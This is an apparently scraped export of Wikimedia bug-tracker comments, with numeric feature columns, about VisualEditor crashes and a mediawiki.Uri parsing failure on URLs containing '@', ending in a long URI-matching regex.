189622,VisualEditor: Type mismatch when inserting unbalanced content,I believe Trevor meant ab</p></li></ol><p>cd breaking.,,,1354904980,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-upsvylaxm2favfgmiub4,task_subcomment,,True,c1,0,True,,,-30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,33.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.444444444444445,1.0,I believe Trevor meant ab</p></li></ol><p>cd breaking.
189616,VisualEditor: Type mismatch when inserting unbalanced content,"**orbit** wrote:

ab</p></li><p>cd is invalid markup anyway.",,,1354903732,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-upsvylaxm2favfgmiub4,task_subcomment,,True,c1,0,False,,,-30,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4375,0.8125,"**orbit** wrote:

ab</p></li><p>cd is invalid markup anyway."
189609,VisualEditor: Type mismatch when inserting unbalanced content,"I0d2b593e05ebdee807e2cc6eeb902d542db3895f is a start, but there's still some issues.

Given the target: <p>12[cursor]34</p>

OK: ab</p><p>cd
OK: ab</h2><p>cd
BAD: ab</p></li><p>cd",,,1354843715,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-upsvylaxm2favfgmiub4,task_subcomment,,True,c1,0,False,,,-30,,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,13.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,16.0,4.342105263157895,0.7105263157894737,"I0d2b593e05ebdee807e2cc6eeb902d542db3895f is a start, but there's still some issues.

Given the target: <p>12[cursor]34</p>

OK: ab</p><p>cd
OK: ab</h2><p>cd
BAD: ab</p></li><p>cd"
189603,VisualEditor: Type mismatch when inserting unbalanced content,Now being done by Trevor; reassigning.,,,1354841984,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-upsvylaxm2favfgmiub4,task_subcomment,,True,c1,0,True,,,-30,,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,1.0,Now being done by Trevor; reassigning.
44707,VisualEditor: Deleting across inline alien errors,"**Author:** `orbit`

**Description:**
Try creating ""some text <inlinealien>blah</inlinealien> more text"" and select across the inline alien and delete. 

Uncaught TypeError: Cannot call method 'getDataFromNode' of undefined

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1354669260,1354739553.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-3mbtnybtpij42l625lvd,task_description,resolved,True,c1,0,False,False,True,-30,,2.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,14.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,4.075757575757576,0.6212121212121212,"**Author:** CODE

**Description:**
Try creating ""some text <inlinealien>blah</inlinealien> more text"" and select across the inline alien and delete. 

Uncaught TypeError: Cannot call method 'getDataFromNode' of undefined

--------------------------
**Version**: unspecified
**Severity**: normal"
183531,VisualEditor: Deleting across inline alien errors,Fix in gerrit 37056.,,,1354738462,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3mbtnybtpij42l625lvd,task_subcomment,,True,c1,0,True,,,-30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,1.0,Fix in gerrit 37056.
183528,VisualEditor: Deleting across inline alien errors,"Argh. I figured out why this happens.

* .splice() is called on the dm.ParagraphNode to remove the alien
* which calls .adjustLength() on the dm.ParagraphNode
* which emits an update event on the dm.ParagraphNode
* which causes .renderContents() to be called on the ce.ParagraphNode
* which attempts to rerender its ce.TextNode children
* one of which is now associated with a detached dm.TextNode
* which means it crashed when trying to get the data from the linear model

I'm not entirely sure what the solution should be. Perhaps ce.ContentBranchNode shouldn't rerender for an update on the node itself, only on its children?",,,1354733644,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-3mbtnybtpij42l625lvd,task_subcomment,,True,c1,0,False,,,-30,,0.0,0.0,0.5,1.5,1.5,1.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,1.0,0.0,5.5,9.0,0.0,2.0,1.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,5.0,0.5,3.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,9.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,7.5,2.5,6.5,1.0,0.0,11.5,0.0,0.0,0.0,0.0,4.0,0.0,1.5,0.0,4.0,9.0,6.0,0.5,0.0,0.0,4.0,0.0,5.5,2.0,0.5,0.5,0.0,0.0,0.0,3.9061167945439044,0.6359761295822677,"Argh. I figured out why this happens.

* .splice() is called on the dm.ParagraphNode to remove the alien
* which calls .adjustLength() on the dm.ParagraphNode
* which emits an update event on the dm.ParagraphNode
* which causes .renderContents() to be called on the ce.ParagraphNode
* which attempts to rerender its ce.TextNode children
* one of which is now associated with a detached dm.TextNode
* which means it crashed when trying to get the data from the linear model

I'm not entirely sure what the solution should be. Perhaps ce.ContentBranchNode shouldn't rerender for an update on the node itself, only on its children?"
44657,VisualEditor: Backspace over a slug at the end of the document throws an error,"Pressing backspace in a slug at the end of the document throws an error:

* Create a new page (or go to an existing one), and enter ""ABCD\n"" at the end
* With the cursor in the new slug, press backspace; this throws an error:

Uncaught Error: ve.dm.Document.getNodeFromOffset(): offset 9 is out of bounds

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1354563780,1354755508.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-bsg3qk2puigbios7b56m,task_description,resolved,True,c1,0,True,False,True,-30,,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,10.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,10.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,1.0,3.651685393258427,0.5955056179775281,"Pressing backspace in a slug at the end of the document throws an error:

* Create a new page (or go to an existing one), and enter ""ABCD\n"" at the end
* With the cursor in the new slug, press backspace; this throws an error:

Uncaught Error: ve.dm.Document.getNodeFromOffset(): offset 9 is out of bounds

--------------------------
**Version**: unspecified
**Severity**: major"
206311,VisualEditor: Backspace over a slug at the end of the document throws an error,Fixed here: https://gerrit.wikimedia.org/r/#/c/37162/,,,1354755508,,PHID-USER-s7sn3zjthnxvep34c5ho,True,,,PHID-TASK-bsg3qk2puigbios7b56m,task_subcomment,,True,c1,0,False,,,-30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,Fixed here: URL
44552,VisualEditor: Link inspector doesn't close when moving cursor to a different link,"Inspect a link, then click on a different link, the inspector moves to the new cursor location and remains open.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1354217520,1354227540.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-mutotkwptjvzfn2nuk4y,task_description,resolved,True,c1,0,False,False,True,-31,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.024390243902439,0.6829268292682927,"Inspect a link, then click on a different link, the inspector moves to the new cursor location and remains open.

--------------------------
**Version**: unspecified
**Severity**: normal"
199773,VisualEditor: Link inspector doesn't close when moving cursor to a different link,"Resolved in I859123a5fcd36bc2afb2e578f81f30a944c8583a

This bug was introduced somewhere in the recent context rewrite.",,,1354227540,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-mutotkwptjvzfn2nuk4y,task_subcomment,,True,c1,0,False,,,-31,,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,20.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.2,0.9333333333333333,"Resolved in I859123a5fcd36bc2afb2e578f81f30a944c8583a

This bug was introduced somewhere in the recent context rewrite."
44525,VisualEditor: Save dialog triggers error (selection bug?),"On launching the save dialog, a console error is thrown:

Uncaught TypeError: Cannot read property 'nodeType' of null /w/extensions/VisualEditor/modules/ve/ce/ve.ce.js:117
ve.ce.getOffset /w/extensions/VisualEditor/modules/ve/ce/ve.ce.js:117
ve.ce.SurfaceObserver.poll /w/extensions/VisualEditor/modules/ve/ce/ve.ce.SurfaceObserver.js:136
ve.ce.SurfaceObserver.stop /w/extensions/VisualEditor/modules/ve/ce/ve.ce.SurfaceObserver.js:82
ve.ce.Surface.documentOnBlur /w/extensions/VisualEditor/modules/ve/ce/ve.ce.Surface.js:324

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1354155360,1354155569.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-bp5lorruinm7xnzv76mb,task_description,resolved,True,c1,0,True,False,True,-31,,0.0,0.0,0.0,0.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.5,10.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,21.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,4.645161290322581,0.4596774193548387,"On launching the save dialog, a console error is thrown:

Uncaught TypeError: Cannot read property 'nodeType' of null /w/extensions/VisualEditor/modules/ve/ce/ve.ce.js:117
ve.ce.getOffset /w/extensions/VisualEditor/modules/ve/ce/ve.ce.js:117
ve.ce.SurfaceObserver.poll /w/extensions/VisualEditor/modules/ve/ce/ve.ce.SurfaceObserver.js:136
ve.ce.SurfaceObserver.stop /w/extensions/VisualEditor/modules/ve/ce/ve.ce.SurfaceObserver.js:82
ve.ce.Surface.documentOnBlur /w/extensions/VisualEditor/modules/ve/ce/ve.ce.Surface.js:324

--------------------------
**Version**: unspecified
**Severity**: normal"
198244,VisualEditor: Save dialog triggers error (selection bug?),"

*** This bug has been marked as a duplicate of bug 41504 ***",,,1354155569,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-bp5lorruinm7xnzv76mb,task_subcomment,,True,c1,0,True,,,-31,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 41504 ***"
44522,VisualEditor: Integrate edit conflict confirmation into the save dialog,"As of I002c5aa23704c1c46ef46fa1970a4254614b9eb1 when saving and an edit conflict occurs the user is shown a browser-provided confirmation box which allows them to either cancel or resolve the conflict manually.

It would be much better if this was integrated into the save dialog.

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1354147200,1368574606.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-2iww52jmzvuwmwgsjy5e,task_description,resolved,True,c1,0,False,False,True,-31,,2.0,0.0,0.0,3.0,0.0,3.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,5.0,8.0,3.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,2.0,2.0,2.0,0.0,0.0,4.876923076923077,0.7846153846153846,"As of I002c5aa23704c1c46ef46fa1970a4254614b9eb1 when saving and an edit conflict occurs the user is shown a browser-provided confirmation box which allows them to either cancel or resolve the conflict manually.

It would be much better if this was integrated into the save dialog.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
198104,VisualEditor: Integrate edit conflict confirmation into the save dialog,Merged into master and will go out with wmf5.,,,1368574606,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2iww52jmzvuwmwgsjy5e,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,30.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7,1.0,Merged into master and will go out with wmf5.
198099,VisualEditor: Integrate edit conflict confirmation into the save dialog,Related URL: https://gerrit.wikimedia.org/r/63679 (Gerrit Change I709d936d998b130515b62de880c6e7aa7978786b),,,1368550555,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2iww52jmzvuwmwgsjy5e,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I709d936d998b130515b62de880c6e7aa7978786b)
44513,mediawiki.Uri crashes in pages with '@' in their url,"It isn't just that this would throw an exception:

 new mw.Uri('http://krinkle.dev/mediawiki/alpha/index.php?title=VisualEditor:S@box&action=edit');

Although that is also bad (when done on non-@ pages), it is especially bad that on pages containing an @ in the url, the module won't even finish loading because of this line:

 defaultUri = new Uri( documentLocation );

So instead, mw.Uri stays undefined.

--------------------------
**Version**: 1.19
**Severity**: critical",High,80.0,1354127040,1358621587.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-vrsv454ata26ui2zocei,task_description,resolved,True,c1,0,True,False,True,-31,,0.0,0.0,0.0,0.0,2.0,6.0,2.0,1.0,1.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,1.0,10.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,9.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,2.0,9.0,8.0,0.0,0.0,1.0,2.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,3.6774193548387095,0.6344086021505376,"It isn't just that this would throw an exception:

 new mw.Uri('URL

Although that is also bad (when done on non-@ pages), it is especially bad that on pages containing an @ in the url, the module won't even finish loading because of this line:

 defaultUri = new Uri( documentLocation );

So instead, mw.Uri stays undefined.

--------------------------
**Version**: 1.19
**Severity**: critical"
197707,mediawiki.Uri crashes in pages with '@' in their url,"I know mine doesn't work, because I put it together in five minutes, but it's definitely proper. Here's the code I used to construct it: http://pastebin.com/ELJ4LdKy",,,1358706140,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,False,,,-24,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,9.0,0.0,12.0,9.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,15.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,21.0,9.0,3.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.484848484848485,0.8181818181818182,"I know mine doesn't work, because I put it together in five minutes, but it's definitely proper. Here's the code I used to construct it: URL"
197697,mediawiki.Uri crashes in pages with '@' in their url,"Tyler, this looks way too short on the first glance and doesn't work. It also explicitly doesn't support protocol-relative URIs.

Here's one that works (this is used by Ruby's URI parsing library). Of course it's not hardcoded in the code like this, but constructed on the fly from regexes for specific URI parts. I could port this to JS in a reasonable way, if anybody except for me actually wants this.

/^(?:[a-zA-Z][\-+.a-zA-Z\d]*:(?:(?:\/\/(?:(?:(?:[\-_.!~*'()a-zA-Z\d;:&=+$,]|%[a-fA-F\d]{2})*@)?(?:(?:[a-zA-Z0-9\-.]|%\h\h)+|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}|\[(?:(?:[a-fA-F\d]{1,4}:)*(?:[a-fA-F\d]{1,4}|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})|(?:(?:[a-fA-F\d]{1,4}:)*[a-fA-F\d]{1,4})?::(?:(?:[a-fA-F\d]{1,4}:)*(?:[a-fA-F\d]{1,4}|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}))?)\])(?::\d*)?|(?:[\-_.!~*'()a-zA-Z\d$,;:@&=+]|%[a-fA-F\d]{2})+)(?:\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*(?:\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*)*)?|\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*(?:\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*)*)(?:\?(?:(?:[\-_.!~*'()a-zA-Z\d;\/?:@&=+$,\[\]]|%[a-fA-F\d]{2})*))?|(?:[\-_.!~*'()a-zA-Z\d;?:@&=+$,]|%[a-fA-F\d]{2})(?:[\-_.!~*'()a-zA-Z\d;\/?:@&=+$,\[\]]|%[a-fA-F\d]{2})*)|(?:\/\/(?:(?:(?:[\-_.!~*'()a-zA-Z\d;:&=+$,]|%[a-fA-F\d]{2})*@)?(?:(?:[a-zA-Z0-9\-.]|%\h\h)+|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}|\[(?:(?:[a-fA-F\d]{1,4}:)*(?:[a-fA-F\d]{1,4}|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})|(?:(?:[a-fA-F\d]{1,4}:)*[a-fA-F\d]{1,4})?::(?:(?:[a-fA-F\d]{1,4}:)*(?:[a-fA-F\d]{1,4}|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}))?)\])(?::\d*)?|(?:[\-_.!~*'()a-zA-Z\d$,;:@&=+]|%[a-fA-F\d]{2})+)(?:\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*(?:\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*)*)?|\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*(?:\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*)*|(?:[\-_.!~*'()a-zA-Z\d;@&=+$,]|%[a-fA-F\d]{2})+(?:\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*(?:\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*)*)?)(?:\?(?:[\-_.!~*'()a-zA-Z\d;\/?:@&=+$,\[\]]|%[a-fA-F\d]{2})*)?)?(?:#(?:[\-_.!~*'()a-zA-Z\d;\/?:@&=+$,\[\]]|%[a-fA-F\d]{2})*)?$/",,,1358688372,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,True,,,-24,,0.0,0.25,0.0,0.25,0.75,19.0,0.0,0.0,0.0,0.25,0.5,0.5,0.0,0.0,0.0,0.5,0.0,2.75,3.25,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0